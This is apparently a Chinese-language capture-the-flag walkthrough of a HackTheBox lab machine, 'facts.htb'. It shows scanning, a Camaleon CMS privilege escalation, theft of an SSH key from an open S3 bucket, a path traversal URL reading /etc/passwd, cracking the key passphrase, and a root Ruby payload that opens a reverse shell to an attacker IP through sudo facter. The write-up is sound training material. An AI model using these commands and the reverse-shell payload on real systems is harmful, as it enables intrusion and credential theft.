前言
各位小伙伴,赛季10开启了,但是我最近实在太忙,实在没心情将图片拖进来了,可能会影响大家的阅读体验,但这同时也是锻炼各位的机会哈哈哈。之后空闲下来,会恢复文章品质的。Sorry啦。
10.129.18.81
nmap扫描
sudo nmap --top-ports 10000 10.129.18.81 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.18.81 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.18.81 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.18.81 -sU -oA ips_full_UDP_nmapscan --min-rate=1000
![[Pasted image 20260201201638.png]]
扫描vhost
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://facts.htb/ -H 'Host: FUZZ.facts.htb' -mc all -fw 18
ffuf -w test.txt:FUZZ -u http://facts.htb/FUZZ -mc all -fw 1248
![[Pasted image 20260201203127.png]]
我们进入/admin页面并创建用户
![[Pasted image 20260201203159.png]]
Camaleon CMS - N day 漏洞 - 任意文件读取 & Web账户提权到Admin
成功进入页面
![[Pasted image 20260201203228.png]]
该页面告诉我们了N day漏洞 https://www.tenable.com/security/research/tra-2025-09 ,经过分析我获取了administrator权限,其只要原因是updated_ajax的权限控制存在缺失导致的,会将所有的password里面的内容全部信任。
![[Pasted image 20260201205350.png]]
![[Pasted image 20260201205337.png]]
我们接着发现了一个桶服务器
![[Pasted image 20260201210833.png]]
我们配置aws准备访问
aws configure --profile htb
aws s3 ls --profile htb --endpoint-url http://10.129.18.81:54321
aws s3 cp s3://internal/.ssh/id_ed25519 ./ --profile htb --endpoint-url http://10.129.18.81:54321
![[Pasted image 20260201210930.png]]
我们提取一下谁使用这个密钥
grep -v '\-\-' id_ed25519|base64 -d|strings
可惜没有任何信息,我们去网页搜集所有用户名
Bob
Carol
Dave
我们进一步覆盖authorized_keys
aws s3 cp ./authorized_keys s3://internal/.ssh/authorized_keys --profile htb --endpoint-url http://10.129.18.81:54321
aws s3 ls internal/.ssh/ --profile htb --endpoint-url http://10.129.18.81:54321
aws s3 ls internal --profile htb --endpoint-url http://10.129.18.81:54321
aws s3 cp s3://randomfacts/* ./ --profile htb --endpoint-url http://10.129.18.81:54321
aws s3 sync s3://internal ./internal \
--profile htb \
--endpoint-url http://10.129.18.81:54321
我们并没有找到用户名字,我们继续查看CMS的漏洞情况,发现存在路径遍历漏洞
![[Pasted image 20260201220217.png]]
http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd
我们尝试登录
![[Pasted image 20260201220246.png]]
ssh -i id_ed25519 trivia@facts.htb
![[Pasted image 20260201220324.png]]
我们在云里面曾经写入了authorized_keys文件,所以我们尝试用自己的私钥登录
ssh -i ~/.ssh/id_ed25519 trivia@facts.htb
aws s3 ls internal/.ssh/ --profile htb --endpoint-url http://10.129.18.81:54321
我们进一步查看,发现云里面的只是复制内容。我们只能破解id_ed25519
ssh2john id_ed25519
john hash --wordlist=/home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt
![[Pasted image 20260201220959.png]]
dragonballz
我们发现,该指令会执行/tmp目录下的第一个rb文件
sudo /usr/bin/facter --custom-dir=/tmp/ x
所以我们编写RB文件放在/tmp下即可
#!/usr/bin/env ruby
puts "Hello, Ruby"
spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.17.114",80))
然后执行
sudo /usr/bin/facter --custom-dir=/tmp/ x